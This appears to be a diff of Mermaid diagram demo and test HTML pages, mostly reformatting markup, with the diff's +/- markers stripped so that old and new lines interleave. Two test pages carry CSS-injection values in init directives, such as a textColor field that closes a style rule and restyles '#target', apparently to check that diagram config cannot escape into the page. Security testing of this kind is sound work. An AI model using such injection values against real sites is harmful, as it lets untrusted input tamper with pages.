%%{init:{"theme":"base", "themeVariables": {"primaryColor":"#411d4e", "titleColor":"white", "darkMode":true}}}%%
|
||||
flowchart LR
|
||||
subgraph A
|
||||
@@ -27,13 +27,13 @@
|
||||
i -->f
|
||||
end
|
||||
A --> B
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function showFullFirstSquad(elemName) {
|
||||
console.log('show ' + elemName);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 0 });
|
||||
</script>
|
||||
</body>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function showFullFirstSquad(elemName) {
|
||||
console.log('show ' + elemName);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 0 });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,19 +1,24 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -22,137 +27,55 @@
|
||||
<body>
|
||||
<h1>info below</h1>
|
||||
<div class="flex">
|
||||
<div class="mermaid" style="width: 50%; height: 20%;">
|
||||
flowchart BT
|
||||
subgraph S1
|
||||
sub1 -->sub2
|
||||
end
|
||||
subgraph S2
|
||||
sub4
|
||||
end
|
||||
S1 --> S2
|
||||
sub1 --> sub4
|
||||
<div class="mermaid" style="width: 50%; height: 20%">
|
||||
flowchart BT subgraph S1 sub1 -->sub2 end subgraph S2 sub4 end S1 --> S2 sub1 --> sub4
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 200px;">
|
||||
sequenceDiagram
|
||||
Alice->>Bob:Extremely utterly long line of longness which had preivously overflown the actor box as it is much longer than what it should be
|
||||
Bob->>Alice: I'm short though
|
||||
<div class="mermaid2" style="width: 50%; height: 200px">
|
||||
sequenceDiagram Alice->>Bob:Extremely utterly long line of longness which had preivously
|
||||
overflown the actor box as it is much longer than what it should be Bob->>Alice: I'm short
|
||||
though
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 200px;">
|
||||
%%{init: {'securityLevel': 'loose'}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{{Let me think...<br />Do I want something for work,<br />something to spend every free second with,<br />or something to get around?}}
|
||||
C -->|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[Car]
|
||||
click A "index.html#link-clicked" "link test"
|
||||
click B callback "click test"
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
<div class="mermaid2" style="width: 50%; height: 200px">
|
||||
%%{init: {'securityLevel': 'loose'}}%% graph TD A[Christmas] -->|Get money| B(Go shopping) B
|
||||
--> C{{Let me think...<br />Do I want something for work,<br />something to spend every free
|
||||
second with,<br />or something to get around?}} C -->|One| D[Laptop] C -->|Two| E[iPhone] C
|
||||
-->|Three| F[Car] click A "index.html#link-clicked" "link test" click B callback "click
|
||||
test" classDef someclass fill:#f96; class A someclass; class C someclass;
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 200px;">
|
||||
<div class="mermaid2" style="width: 50%; height: 200px">
|
||||
flowchart BT subgraph a b1 -- ok --> b2 end a -- sert --> c c --> d b1 --> d a --asd123 -->
|
||||
d
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 20%">
|
||||
stateDiagram-v2 state A { B1 --> B2: ok } A --> C: sert C --> D B1 --> D A --> D: asd123
|
||||
</div>
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 40%">
|
||||
%% this does not produce the desired result flowchart TB subgraph container_Beta
|
||||
process_C-->Process_D end subgraph container_Alpha process_A-->process_B
|
||||
process_B-->|via_AWSBatch|container_Beta process_A-->|messages|process_C end
|
||||
</div>
|
||||
<div class="mermaid" style="width: 50%; height: 40%">
|
||||
flowchart TB a{{"Lorem 'ipsum' dolor 'sit' amet, 'consectetur' adipiscing 'elit'."}} -->
|
||||
b{{"Lorem #quot;ipsum#quot; dolor #quot;sit#quot; amet,#quot;consectetur#quot; adipiscing
|
||||
#quot;elit#quot;."}}
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 50%">
|
||||
flowchart TB internet nat routeur lb1 lb2 compute1 compute2 subgraph project routeur nat
|
||||
subgraph subnet1 compute1 lb1 end subgraph subnet2 compute2 lb2 end end internet --> routeur
|
||||
routeur --> subnet1 & subnet2 subnet1 & subnet2 --> nat --> internet
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 50%">
|
||||
flowchart TD subgraph one[One] subgraph sub_one[Sub One] _sub_one end end subgraph two[Two]
|
||||
_two end sub_one --> two
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 50%">
|
||||
flowchart TD subgraph one[One] subgraph sub_one[Sub One] _sub_one end subgraph sub_two[Sub
|
||||
Two] _sub_two end _one end %% here, either the first or the second one sub_one --> sub_two
|
||||
_one --> b
|
||||
</div>
|
||||
|
||||
flowchart BT
|
||||
subgraph a
|
||||
b1 -- ok --> b2
|
||||
end
|
||||
a -- sert --> c
|
||||
c --> d
|
||||
b1 --> d
|
||||
a --asd123 --> d
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 20%;">
|
||||
stateDiagram-v2
|
||||
state A {
|
||||
B1 --> B2: ok
|
||||
}
|
||||
A --> C: sert
|
||||
C --> D
|
||||
B1 --> D
|
||||
A --> D: asd123
|
||||
</div>
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 40%;">
|
||||
%% this does not produce the desired result
|
||||
flowchart TB
|
||||
subgraph container_Beta
|
||||
process_C-->Process_D
|
||||
end
|
||||
subgraph container_Alpha
|
||||
process_A-->process_B
|
||||
process_B-->|via_AWSBatch|container_Beta
|
||||
process_A-->|messages|process_C
|
||||
end
|
||||
|
||||
</div>
|
||||
<div class="mermaid" style="width: 50%; height: 40%;">
|
||||
flowchart TB
|
||||
a{{"Lorem 'ipsum' dolor 'sit' amet, 'consectetur' adipiscing 'elit'."}}
|
||||
--> b{{"Lorem #quot;ipsum#quot; dolor #quot;sit#quot; amet,#quot;consectetur#quot; adipiscing #quot;elit#quot;."}}
|
||||
|
||||
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 50%;">
|
||||
flowchart TB
|
||||
internet
|
||||
nat
|
||||
routeur
|
||||
lb1
|
||||
lb2
|
||||
compute1
|
||||
compute2
|
||||
subgraph project
|
||||
routeur
|
||||
nat
|
||||
subgraph subnet1
|
||||
compute1
|
||||
lb1
|
||||
end
|
||||
subgraph subnet2
|
||||
compute2
|
||||
lb2
|
||||
end
|
||||
end
|
||||
internet --> routeur
|
||||
routeur --> subnet1 & subnet2
|
||||
subnet1 & subnet2 --> nat --> internet
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 50%;">
|
||||
flowchart TD
|
||||
|
||||
subgraph one[One]
|
||||
subgraph sub_one[Sub One]
|
||||
_sub_one
|
||||
end
|
||||
end
|
||||
|
||||
subgraph two[Two]
|
||||
_two
|
||||
end
|
||||
|
||||
sub_one --> two
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 50%;">
|
||||
flowchart TD
|
||||
|
||||
subgraph one[One]
|
||||
subgraph sub_one[Sub One]
|
||||
_sub_one
|
||||
end
|
||||
subgraph sub_two[Sub Two]
|
||||
_sub_two
|
||||
end
|
||||
_one
|
||||
end
|
||||
|
||||
%% here, either the first or the second one
|
||||
sub_one --> sub_two
|
||||
_one --> b
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -172,8 +95,8 @@ _one --> b
|
||||
securityLevel: 'strict',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,19 +1,24 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -22,7 +27,7 @@
|
||||
<body>
|
||||
<h1>info below</h1>
|
||||
<div class="flex">
|
||||
<div class="mermaid2" style="width: 50%; height: 20%;">
|
||||
<pre class="mermaid2" style="width: 50%; height: 20%">
|
||||
flowchart BT
|
||||
subgraph two
|
||||
b1
|
||||
@@ -32,13 +37,13 @@ flowchart BT
|
||||
end
|
||||
c1 --apa apa apa--> b1
|
||||
two --> c2
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 200px;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%; height: 200px">
|
||||
sequenceDiagram
|
||||
Alice->>Bob:Extremely utterly long line of longness which had previously overflown the actor box as it is much longer than what it should be
|
||||
Bob->>Alice: I'm short though
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 200px;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%; height: 200px">
|
||||
%%{init: {'securityLevel': 'loose'}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
@@ -51,8 +56,8 @@ sequenceDiagram
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 200px;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%; height: 200px">
|
||||
|
||||
flowchart BT
|
||||
subgraph a
|
||||
@@ -62,8 +67,8 @@ sequenceDiagram
|
||||
c --> d
|
||||
b1 --> d
|
||||
a --asd123 --> d
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%; height: 20%">
|
||||
stateDiagram-v2
|
||||
state A {
|
||||
B1 --> B2: ok
|
||||
@@ -72,9 +77,9 @@ stateDiagram-v2
|
||||
C --> D
|
||||
B1 --> D
|
||||
A --> D: asd123
|
||||
</div>
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 20%;">
|
||||
</pre>
|
||||
</div>
|
||||
<pre class="mermaid2" style="width: 50%; height: 20%">
|
||||
%%{init: {'theme': 'base', 'themeVariables': { 'primaryColor': '#ff0000'}}}%%
|
||||
flowchart LR
|
||||
a -->b
|
||||
@@ -84,9 +89,8 @@ flowchart LR
|
||||
subgraph B
|
||||
b
|
||||
end
|
||||
|
||||
</div>
|
||||
<div class="mermaid" style="width: 50%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid" style="width: 50%; height: 20%">
|
||||
flowchart TB
|
||||
subgraph A
|
||||
b-->B
|
||||
@@ -95,16 +99,15 @@ flowchart TB
|
||||
subgraph B
|
||||
c
|
||||
end
|
||||
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 50%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 50%; height: 20%">
|
||||
sequenceDiagram
|
||||
Alice->Bob: Hello Bob, how are you?
|
||||
Note over Alice,Bob: Looks
|
||||
Note over Bob,Alice: Looks back
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -124,8 +127,8 @@ Note over Bob,Alice: Looks back
|
||||
securityLevel: 'strict',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,10 +1,13 @@
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<meta charset="utf-8" />
|
||||
<!-- <meta charset="iso-8859-15"/> -->
|
||||
<script src="/e2e.js"></script>
|
||||
<!-- <link href="https://fonts.googleapis.com/css?family=Mansalva&display=swap" rel="stylesheet" /> -->
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<style>
|
||||
body {
|
||||
/* font-family: 'Mansalva', cursive;*/
|
||||
@@ -27,7 +30,8 @@
|
||||
svg {
|
||||
border: 2px solid darkred;
|
||||
}
|
||||
.exClass2 > rect, .exClass {
|
||||
.exClass2 > rect,
|
||||
.exClass {
|
||||
fill: greenyellow !important;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -1,34 +1,34 @@
|
||||
<html>
|
||||
<head>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<style>body {
|
||||
font-family: 'trebuchet ms', verdana, arial;
|
||||
}</style>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<style>
|
||||
body {
|
||||
font-family: 'trebuchet ms', verdana, arial;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
subgraph One
|
||||
a1-->a2-->a3
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
a_a --> b_b:::apa --> c_c:::apa
|
||||
classDef apa fill:#f9f,stroke:#333,stroke-width:4px;
|
||||
class a_a apa;
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
a_a(Aftonbladet) --> b_b[gorilla]:::apa --> c_c{chimp}:::apa -->a_a
|
||||
a_a --> c --> d_d --> c_c
|
||||
classDef apa fill:#f9f,stroke:#333,stroke-width:4px;
|
||||
class a_a apa;
|
||||
click a_a "http://www.aftonbladet.se" "apa"
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
@@ -41,6 +41,5 @@
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,28 +1,26 @@
|
||||
<html>
|
||||
<script>
|
||||
<script>
|
||||
// %%{ init: { "logLevel":0, "themeVariables" : { "primaryColor": "#fff000","textColor": "green","apa":"} #target { background-color: crimson }" } } }%%
|
||||
</script>
|
||||
<body>
|
||||
</script>
|
||||
<body>
|
||||
<div id="target">
|
||||
<h1>This element does not belong to the SVG but we can style it</h1>
|
||||
<h1>This element does not belong to the SVG but we can style it</h1>
|
||||
</div>
|
||||
<svg id="diagram">
|
||||
</svg>
|
||||
<svg id="diagram"></svg>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({ startOnLoad: false, logLevel: 0 });
|
||||
mermaid.initialize({ startOnLoad: false, logLevel: 0 });
|
||||
|
||||
const graph = `
|
||||
const graph = `
|
||||
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }", "mainBkg": "#fff000" } } }%%
|
||||
graph TD
|
||||
A[Goose]
|
||||
`;
|
||||
|
||||
const diagram = document.getElementById('diagram');
|
||||
const svg = mermaid.render('diagram-svg', graph);
|
||||
diagram.innerHTML = svg;
|
||||
const diagram = document.getElementById('diagram');
|
||||
const svg = mermaid.render('diagram-svg', graph);
|
||||
diagram.innerHTML = svg;
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,28 +1,26 @@
|
||||
<html>
|
||||
<script>
|
||||
<script>
|
||||
// %%{ init: { "logLevel":0, "themeVariables" : { "primaryColor": "#fff000","textColor": "green","apa":"} #target { background-color: crimson }" } } }%%
|
||||
</script>
|
||||
<body>
|
||||
</script>
|
||||
<body>
|
||||
<div id="target">
|
||||
<h1>This element does not belong to the SVG but we can style it</h1>
|
||||
<h1>This element does not belong to the SVG but we can style it</h1>
|
||||
</div>
|
||||
<svg id="diagram">
|
||||
</svg>
|
||||
<svg id="diagram"></svg>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({ startOnLoad: false, logLevel: 0 });
|
||||
mermaid.initialize({ startOnLoad: false, logLevel: 0 });
|
||||
|
||||
const graph = `
|
||||
const graph = `
|
||||
%%{ init: { "fontFamily" : "&125; * { background: red }" } }%%
|
||||
graph TD
|
||||
A[Goose]
|
||||
`;
|
||||
|
||||
const diagram = document.getElementById('diagram');
|
||||
const svg = mermaid.render('diagram-svg', graph);
|
||||
diagram.innerHTML = svg;
|
||||
const diagram = document.getElementById('diagram');
|
||||
const svg = mermaid.render('diagram-svg', graph);
|
||||
diagram.innerHTML = svg;
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,31 +1,37 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
background: rgb(221, 208, 208);
|
||||
/*background:#333;*/
|
||||
font-family: 'Arial';
|
||||
}
|
||||
h1 { color: white;}
|
||||
}
|
||||
h1 {
|
||||
color: white;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
.customCss > rect, .customCss{
|
||||
fill:#FF0000 !important;
|
||||
stroke:#FFFF00 !important;
|
||||
stroke-width:4px !important;
|
||||
}
|
||||
.customCss > rect,
|
||||
.customCss {
|
||||
fill: #ff0000 !important;
|
||||
stroke: #ffff00 !important;
|
||||
stroke-width: 4px !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>info below</h1>
|
||||
<div class="mermaid" style="width: 100%; height: 20%;">
|
||||
<pre class="mermaid" style="width: 100%; height: 20%">
|
||||
|
||||
gitGraph
|
||||
class BankAccount{
|
||||
@@ -35,10 +41,9 @@
|
||||
+withdrawl(amount) int
|
||||
}
|
||||
cssClass "BankAccount" customCss
|
||||
</pre>
|
||||
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -60,8 +65,8 @@
|
||||
securityLevel: 'loose',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,32 +1,36 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#111; */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
}
|
||||
}
|
||||
/* h1 { color: white;} */
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
.customCss > rect, .customCss{
|
||||
fill:#FF0000 !important;
|
||||
stroke:#FFFF00 !important;
|
||||
stroke-width:4px !important;
|
||||
}
|
||||
.customCss > rect,
|
||||
.customCss {
|
||||
fill: #ff0000 !important;
|
||||
stroke: #ffff00 !important;
|
||||
stroke-width: 4px !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>info below</h1>
|
||||
<div class="mermaid" style="width: 100%; height: 20%;">
|
||||
<pre class="mermaid" style="width: 100%; height: 20%">
|
||||
%%{init: { "logLevel": "debug", "theme": "default" , "gitGraph" : {"showBranches":"false"},"themeVariables": {
|
||||
"gitBranchLabel0": "#ff0000",
|
||||
"gitBranchLabel1": "#00ff00",
|
||||
@@ -50,9 +54,8 @@
|
||||
commit
|
||||
branch featureA
|
||||
commit
|
||||
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%; height: 20%">
|
||||
gitGraph
|
||||
commit type:HIGHLIGHT
|
||||
branch hotfix
|
||||
@@ -94,17 +97,16 @@
|
||||
merge main
|
||||
checkout develop
|
||||
merge release
|
||||
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%; height: 20%">
|
||||
gitGraph:
|
||||
commit
|
||||
commit
|
||||
branch newbranch
|
||||
commit
|
||||
merge main
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -112,17 +114,17 @@
|
||||
mermaid.initialize({
|
||||
//theme: 'dark',
|
||||
themeVariables: {
|
||||
commitLabelColor: '#9400D3',
|
||||
commitLabelBackground: '#FFFFFF',
|
||||
// darkMode: true,
|
||||
// background: '#222',
|
||||
// // textColor: 'white',
|
||||
// // primaryTextColor: '#f4f4f4',
|
||||
commitLabelColor: '#9400D3',
|
||||
commitLabelBackground: '#FFFFFF',
|
||||
// darkMode: true,
|
||||
// background: '#222',
|
||||
// // textColor: 'white',
|
||||
// // primaryTextColor: '#f4f4f4',
|
||||
|
||||
// // // nodeBkg: '#ff0000',
|
||||
// // // mainBkg: '#0000ff',
|
||||
// // // tertiaryColor: '#ffffcc',
|
||||
},
|
||||
// // // nodeBkg: '#ff0000',
|
||||
// // // mainBkg: '#0000ff',
|
||||
// // // tertiaryColor: '#ffffcc',
|
||||
},
|
||||
// theme: 'forest',
|
||||
// theme: 'neutral',
|
||||
// theme: 'dark',
|
||||
@@ -141,8 +143,8 @@
|
||||
securityLevel: 'loose',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,32 +1,36 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#111; */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
}
|
||||
}
|
||||
/* h1 { color: white;} */
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
.customCss > rect, .customCss{
|
||||
fill:#FF0000 !important;
|
||||
stroke:#FFFF00 !important;
|
||||
stroke-width:4px !important;
|
||||
}
|
||||
.customCss > rect,
|
||||
.customCss {
|
||||
fill: #ff0000 !important;
|
||||
stroke: #ffff00 !important;
|
||||
stroke-width: 4px !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>info below</h1>
|
||||
<div class="mermaid2" style="width: 100%; height: 20%;">
|
||||
<pre class="mermaid2" style="width: 100%; height: 20%">
|
||||
gitGraph:
|
||||
commit "Ashish"
|
||||
branch newbranch
|
||||
@@ -40,9 +44,8 @@
|
||||
commit
|
||||
branch b2
|
||||
commit
|
||||
|
||||
</div>
|
||||
<div class="mermaid" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid" style="width: 100%; height: 20%">
|
||||
%%{init: { "gitGraph": { "showBranches": true, "mainBranchName": "APA" }}}%%
|
||||
gitGraph
|
||||
commit
|
||||
@@ -86,17 +89,16 @@
|
||||
merge APA
|
||||
checkout develop
|
||||
merge release
|
||||
|
||||
</div>
|
||||
<div class="mermaid2" style="width: 100%; height: 20%;">
|
||||
</pre>
|
||||
<pre class="mermaid2" style="width: 100%; height: 20%">
|
||||
gitGraph:
|
||||
commit
|
||||
commit
|
||||
branch newbranch
|
||||
commit
|
||||
merge main
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -132,8 +134,8 @@
|
||||
securityLevel: 'loose',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,14 +1,12 @@
|
||||
<html>
|
||||
<head>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
</head>
|
||||
<body>
|
||||
<h1>info below</h1>
|
||||
<div class="mermaid">info</div>
|
||||
<pre class="mermaid">
|
||||
info
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
@@ -21,6 +19,5 @@
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,52 +1,52 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
